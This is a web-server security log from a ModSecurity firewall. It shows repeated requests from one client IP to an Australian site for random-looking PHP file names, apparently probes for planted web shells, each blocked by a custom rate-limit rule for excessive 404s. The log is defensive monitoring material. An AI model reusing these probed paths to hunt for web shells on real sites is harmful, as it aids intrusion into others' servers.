[Sun Apr 19 23:31:10.281111 2026] [:error] [pid 15694:tid 15741] [client 20.215.51.14:7124] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ai.php"] [unique_id "aeT1PrimB-jol1fwqAodSwAAAY8"]
[Sun Apr 19 23:31:11.394567 2026] [:error] [pid 15693:tid 15709] [client 20.215.51.14:7084] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ai.php"] [unique_id "aeT1P8NMD-ccazQlTslnkAAAAU0"]
[Sun Apr 19 23:31:12.292139 2026] [:error] [pid 47772:tid 47813] [client 20.215.51.14:6990] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ai.php"] [unique_id "aeT1QIc0L16cb4smAz_leAAAABg"]
[Sun Apr 19 23:31:13.328783 2026] [:error] [pid 47772:tid 47794] [client 20.215.51.14:7163] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ai.php"] [unique_id "aeT1QYc0L16cb4smAz_leQAAAAU"]
[Sun Apr 19 23:31:14.014182 2026] [:error] [pid 47773:tid 47831] [client 20.215.51.14:7143] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeT1QuiBHdnCJDuPq9BfPgAAAE8"]
[Sun Apr 19 23:31:14.747682 2026] [:error] [pid 15763:tid 15797] [client 20.215.51.14:7158] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeT1QrMXv1Y1THOoxaAcPAAAAgE"]
[Sun Apr 19 23:31:17.852745 2026] [:error] [pid 47773:tid 47818] [client 20.215.51.14:7105] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeT1ReiBHdnCJDuPq9BfRAAAAEI"]
[Sun Apr 19 23:31:18.740477 2026] [:error] [pid 15764:tid 15843] [client 20.215.51.14:6989] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeT1RmLL_sqdSHoVp-RH_AAAAlE"]
[Sun Apr 19 23:31:19.783062 2026] [:error] [pid 15763:tid 15817] [client 20.215.51.14:7167] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aeT1R7MXv1Y1THOoxaAcQQAAAhU"]
[Sun Apr 19 23:31:20.668488 2026] [:error] [pid 47775:tid 47856] [client 20.215.51.14:7104] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aeT1SLmztjlk9tsmoewu7AAAAI0"]
[Sun Apr 19 23:31:21.580948 2026] [:error] [pid 47775:tid 47864] [client 20.215.51.14:7145] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aeT1Sbmztjlk9tsmoewu8QAAAJU"]
[Sun Apr 19 23:31:22.886992 2026] [:error] [pid 15763:tid 15806] [client 20.215.51.14:7159] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aeT1SrMXv1Y1THOoxaAcQgAAAgo"]
[Sun Apr 19 23:31:23.977357 2026] [:error] [pid 15763:tid 15804] [client 20.215.51.14:6982] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aeT1S7MXv1Y1THOoxaAcQwAAAgg"]
[Sun Apr 19 23:31:24.975849 2026] [:error] [pid 47772:tid 47793] [client 20.215.51.14:7049] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aeT1TIc0L16cb4smAz_liwAAAAQ"]
[Sun Apr 19 23:31:26.079114 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:7078] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aeT1TrMXv1Y1THOoxaAcRQAAAgc"]
[Sun Apr 19 23:32:13.517546 2026] [:error] [pid 15764:tid 15843] [client 20.215.51.14:7102] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeT1fWLL_sqdSHoVp-RIRQAAAlE"]
[Sun Apr 19 23:32:14.365060 2026] [:error] [pid 15760:tid 15780] [client 20.215.51.14:7064] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeT1fvSdD_XHQMJ_IStz2gAAAcw"]
[Sun Apr 19 23:32:15.149099 2026] [:error] [pid 15760:tid 15783] [client 20.215.51.14:7123] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeT1f_SdD_XHQMJ_IStz3QAAAc8"]
[Sun Apr 19 23:32:15.941918 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7152] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krntz.php"] [unique_id "aeT1f_SdD_XHQMJ_IStz4AAAAck"]
[Sun Apr 19 23:32:16.945800 2026] [:error] [pid 15763:tid 15800] [client 20.215.51.14:7135] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeT1gLMXv1Y1THOoxaAcYwAAAgQ"]
[Sun Apr 19 23:32:17.943680 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7008] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeT1gWLL_sqdSHoVp-RISgAAAkU"]
[Sun Apr 19 23:32:18.769168 2026] [:error] [pid 47775:tid 47844] [client 20.215.51.14:7047] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeT1grmztjlk9tsmoewvBQAAAIE"]
[Sun Apr 19 23:32:19.552889 2026] [:error] [pid 15693:tid 15698] [client 20.215.51.14:6998] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeT1g8NMD-ccazQlTslnmQAAAUI"]
[Sun Apr 19 23:32:20.668528 2026] [:error] [pid 15760:tid 15768] [client 20.215.51.14:7122] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aeT1hPSdD_XHQMJ_IStz6QAAAcA"]
[Sun Apr 19 23:32:21.622876 2026] [:error] [pid 47775:tid 47851] [client 20.215.51.14:7106] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aeT1hbmztjlk9tsmoewvCgAAAIg"]
[Sun Apr 19 23:32:22.556155 2026] [:error] [pid 15694:tid 15725] [client 20.215.51.14:7081] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aeT1hrimB-jol1fwqAodXQAAAYI"]
[Sun Apr 19 23:32:23.848943 2026] [:error] [pid 15694:tid 15743] [client 20.215.51.14:6979] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aeT1h7imB-jol1fwqAodXgAAAZE"]
[Sun Apr 19 23:32:24.925877 2026] [:error] [pid 47886:tid 47888] [client 20.215.51.14:7070] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeT1iESe8yiyuPrD7yOK7QAAAMA"]
[Sun Apr 19 23:32:25.890327 2026] [:error] [pid 47886:tid 47908] [client 20.215.51.14:7062] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeT1iUSe8yiyuPrD7yOK8AAAANQ"]
[Sun Apr 19 23:32:26.855538 2026] [:error] [pid 15694:tid 15732] [client 20.215.51.14:6987] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeT1irimB-jol1fwqAodZAAAAYY"]
[Sun Apr 19 23:32:27.901217 2026] [:error] [pid 15694:tid 15726] [client 20.215.51.14:7119] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vopxx.php"] [unique_id "aeT1i7imB-jol1fwqAodaAAAAYM"]
[Sun Apr 19 23:32:29.116904 2026] [:error] [pid 15764:tid 15829] [client 20.215.51.14:7113] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeT1jWLL_sqdSHoVp-RIVQAAAkM"]
[Sun Apr 19 23:32:30.187334 2026] [:error] [pid 47772:tid 47790] [client 20.215.51.14:7090] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeT1joc0L16cb4smAz_ltAAAAAE"]
[Sun Apr 19 23:32:31.268828 2026] [:error] [pid 47772:tid 47796] [client 20.215.51.14:7009] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeT1j4c0L16cb4smAz_ltwAAAAc"]
[Sun Apr 19 23:32:32.181791 2026] [:error] [pid 15764:tid 15835] [client 20.215.51.14:6994] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeT1kGLL_sqdSHoVp-RIVgAAAkk"]
[Sun Apr 19 23:32:33.141743 2026] [:error] [pid 47775:tid 47848] [client 20.215.51.14:7077] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT1kbmztjlk9tsmoewvEQAAAIU"]
[Sun Apr 19 23:32:34.284304 2026] [:error] [pid 15693:tid 15705] [client 20.215.51.14:7043] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT1ksNMD-ccazQlTslnnQAAAUk"]
[Sun Apr 19 23:32:35.138155 2026] [:error] [pid 47886:tid 47893] [client 20.215.51.14:7088] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT1k0Se8yiyuPrD7yOLBAAAAMU"]
[Sun Apr 19 23:32:36.024690 2026] [:error] [pid 15760:tid 15782] [client 20.215.51.14:7060] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT1lPSdD_XHQMJ_IStz8wAAAc4"]
[Sun Apr 19 23:32:36.976165 2026] [:error] [pid 47772:tid 47798] [client 20.215.51.14:6976] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeT1lIc0L16cb4smAz_lugAAAAk"]
[Sun Apr 19 23:32:37.834470 2026] [:error] [pid 47773:tid 47833] [client 20.215.51.14:7063] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeT1leiBHdnCJDuPq9BfggAAAFE"]
[Sun Apr 19 23:32:38.471459 2026] [:error] [pid 15765:tid 15870] [client 20.215.51.14:7129] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeT1lvRqinw-W5EwQ74NrAAAApE"]
[Sun Apr 19 23:32:39.499992 2026] [:error] [pid 15760:tid 15771] [client 20.215.51.14:7087] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeT1l_SdD_XHQMJ_IStz-QAAAcM"]
[Sun Apr 19 23:32:40.824966 2026] [:error] [pid 47775:tid 47859] [client 20.215.51.14:7166] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "aeT1mLmztjlk9tsmoewvFAAAAJA"]
[Sun Apr 19 23:32:41.649802 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7099] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "aeT1mfSdD_XHQMJ_ISt0BQAAAdU"]
[Sun Apr 19 23:32:42.355647 2026] [:error] [pid 15763:tid 15798] [client 20.215.51.14:7073] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "aeT1mrMXv1Y1THOoxaAcawAAAgI"]
[Sun Apr 19 23:32:43.397883 2026] [:error] [pid 47772:tid 47795] [client 20.215.51.14:7156] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rkiea.php"] [unique_id "aeT1m4c0L16cb4smAz_lvwAAAAY"]
[Sun Apr 19 23:32:44.174792 2026] [:error] [pid 15763:tid 15800] [client 20.215.51.14:7001] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtsr.php"] [unique_id "aeT1nLMXv1Y1THOoxaAcbgAAAgQ"]
[Sun Apr 19 23:32:44.963580 2026] [:error] [pid 15763:tid 15813] [client 20.215.51.14:7052] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtsr.php"] [unique_id "aeT1nLMXv1Y1THOoxaAccAAAAhE"]
[Sun Apr 19 23:32:46.063063 2026] [:error] [pid 15760:tid 15782] [client 20.215.51.14:7116] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtsr.php"] [unique_id "aeT1nvSdD_XHQMJ_ISt0GwAAAc4"]
[Sun Apr 19 23:32:47.000836 2026] [:error] [pid 47773:tid 47823] [client 20.215.51.14:6984] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xtsr.php"] [unique_id "aeT1nuiBHdnCJDuPq9BfgwAAAEc"]
[Sun Apr 19 23:32:47.722189 2026] [:error] [pid 15764:tid 15828] [client 20.215.51.14:7075] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aeT1n2LL_sqdSHoVp-RIYgAAAkI"]
[Sun Apr 19 23:32:48.578496 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:7151] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aeT1oGLL_sqdSHoVp-RIYwAAAk8"]
[Sun Apr 19 23:32:49.544334 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7069] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aeT1ofSdD_XHQMJ_ISt0MAAAAdA"]
[Sun Apr 19 23:32:50.659844 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:7024] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aeT1orMXv1Y1THOoxaAcdAAAAhc"]
[Sun Apr 19 23:32:51.400156 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7018] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeT1o_SdD_XHQMJ_ISt0MgAAAc0"]
